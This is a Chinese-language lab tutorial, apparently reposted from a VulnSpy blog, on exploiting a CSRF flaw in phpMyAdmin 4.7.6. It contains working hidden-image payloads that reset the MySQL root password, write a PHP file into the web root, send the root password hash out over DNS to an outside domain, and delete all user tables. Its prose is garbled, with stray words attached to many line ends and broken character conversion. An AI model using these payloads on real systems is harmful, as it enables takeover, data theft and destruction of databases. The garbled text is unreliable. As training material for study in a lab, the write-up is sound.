做者:Ambulongphp
phpMyAdmin是個知名MySQL/MariaDB在線管理工具,phpMyAdmin團隊在4.7.7版本中修復了一個危害嚴重的CSRF漏洞(PMASA-2017-9),攻擊者能夠經過誘導管理員訪問惡意頁面,悄無聲息地執行任意SQL語句。html
該篇文章咱們將結合VulnSpy的在線phpMyAdmin環境來熟悉該漏洞的利用。mysql
在線 phpMyAdmin CSRF 演練地址:https://www.vulnspy.com/?u=pmasa-2017-9git
注:重啓演示靶機便可重置靶機github
點擊 VulnSpy 提供的建立靶機地址(https://www.vsplate.com/?github=vulnspy/PMASA-2017-9)sql
跳轉到 VSPlate 後,直接點擊GO
按鈕,便會自動建立一個 phpMyAdmin 環境數據庫
打開演示地址
的連接,咱們的 phpMyAdmin 就建立完成了。瀏覽器
使用賬號 root
,密碼 toor
,登陸 phpMyAdmin 。根據頁面信息,咱們能夠發現當前 phpMyAdmin 的版本爲 4.7.6,恰好匹配存在漏洞的 phpMyAdmin 版本。網絡
咱們知道,若是要利用CSRF來刪除或修改數據庫內容,通查狀況下須要提早知道數據庫名、表名和字段名。這樣利用顯得有點複雜,成功率也有限,所以本文咱們將介紹幾種較爲通用的利用方式。ide
在MySQL中支持使用SQL語句來修改當前用戶密碼。好比將當前用戶密碼修改成[www.vulnspy.com](http://www.vulnspy.com)
,對應的SQL語句爲:
SET passsword=PASSWORD('www.vulnspy.com');
2.1 模擬管理員登陸phpMyAdmin的狀態。
用賬號 root 密碼 toor 登陸 phpMyAdmin 。
2.2 建立含有惡意代碼的頁面。
文件名 2.payload.html (將下面的域名換成本身的靶機域名)
<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password %20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />
2.3 用瀏覽器打開含有惡意代碼的文件 2.payload.html
回到上一步打開的phpMyAdmin頁面,發現已自動退出,並且用原來的密碼 toor 已經沒法登陸。
2.4 使用密碼 www.vulnspy.com 登陸成功,代表利用成功
MySQL支持將查詢結果寫到文件當中,咱們能夠利用該特性來寫入PHP文件。好比將代碼<?php phpinfo();?>
寫到文件/var/www/html/test.php
中,對應的SQL語句爲:
select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';
3.1 將上一個演示步驟相同,只需將2.2中的文件代碼改爲:
<p>Hello World</p> <img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" />
3.2 用瀏覽器打開含有惡意代碼的文件
3.3 訪問 test.php
可見文件已經寫入成功。
MySQL提供了load_file()
函數來支持讀取文件內容的操做。好比讀取文件/etc/passwd
內容,,對應的SQL語句爲:
select load_file('/etc/passwd');
可是對於CSRF漏洞來講,該讀取操做實在目標用戶端執行的,咱們依然沒法知道文件讀取的結果。而load_file()
在Windows下支持從網絡共享文件夾中讀取文件,如\\192.168.1.100\share\vulnspy.txt
。網絡共享文件的地址處不只能夠填寫IP還能夠填寫域名,咱們能夠經過DNS解析來獲取查詢的數據。
此處須要用到 DNSLOG 之類的工具:https://github.com/BugScanTeam/DNSLog, 這類工具能夠記錄域名的 DNS 解析記錄
好比經過DNS解析來獲取當前 MySQL root 用戶密碼,對應的SQL語句爲:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.vulnspy.com\\test'));
獲取當前數據庫名:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.vulnspy.com\\test'));
若是請求成功,查詢結果將做爲二級域名的一部分出如今咱們的 DNS 解析記錄當中。
該環境暫沒法演示
若是上面幾種利用方式都沒法直接形成直接的影響,咱們能夠利用SQL語句來清空當前MySQL用戶可操做的全部數據表。
咱們用命令
SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1
來獲取數據名和表名,並將其拼接成刪除語句(如:DELETE FROM vulnspy_tables.inv
),經過 execute
來執行生成的刪除語句:
set @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1); prepare stmt from @del; execute stmt;
可是 execute 一次只能執行一條SQL語句,所以咱們能夠利用循環語句來逐一執行:
DROP PROCEDURE IF EXISTS EMPT; DELIMITER $$ CREATE PROCEDURE EMPT() BEGIN DECLARE i INT; SET i = 0; WHILE i < 100 DO SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1); PREPARE STMT FROM @del; EXECUTE STMT; SET i = i +1; END WHILE; END $$ DELIMITER ; CALL EMPT();
5.1 Payload以下
<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A" style="display:none;" />
5.2 用瀏覽器打開含有惡意代碼的文件
5.3 回到 phpMyAdmin 中查看數據
能夠發現數據庫vulnspy_tables
和數據庫vulnspy_test
中的數據已經被清空。
這個 phpMyAdmin 的 CSRF 漏洞利用有點相似 SQL 盲注的利用,可是對於漏洞觸發的時間不可控(即不知道管理員什麼時候會訪問含有惡意代碼的頁面),所以須要更加通用的利用方式。經過該實驗,不只瞭解該漏洞的內容,還能夠更加熟悉CSRF漏洞的利用。
本文轉載自:phpMyAdmin 4.7.x CSRF 漏洞利用 - https://blog.vulnspy.com/2018/06/10/phpMyAdmin-4-7-x-XSRF-CSRF-vulnerability-exploit/
i春秋推出優享會員制,開通會員能夠免費暢享多類課程、實驗、CTF賽題等付費內容,並可享有包括會員日專屬福利、就業推薦等多種特權福利,更多活動詳情可點擊:https://bbs.ichunqiu.com/thread-40795-1-1.html瞭解哦~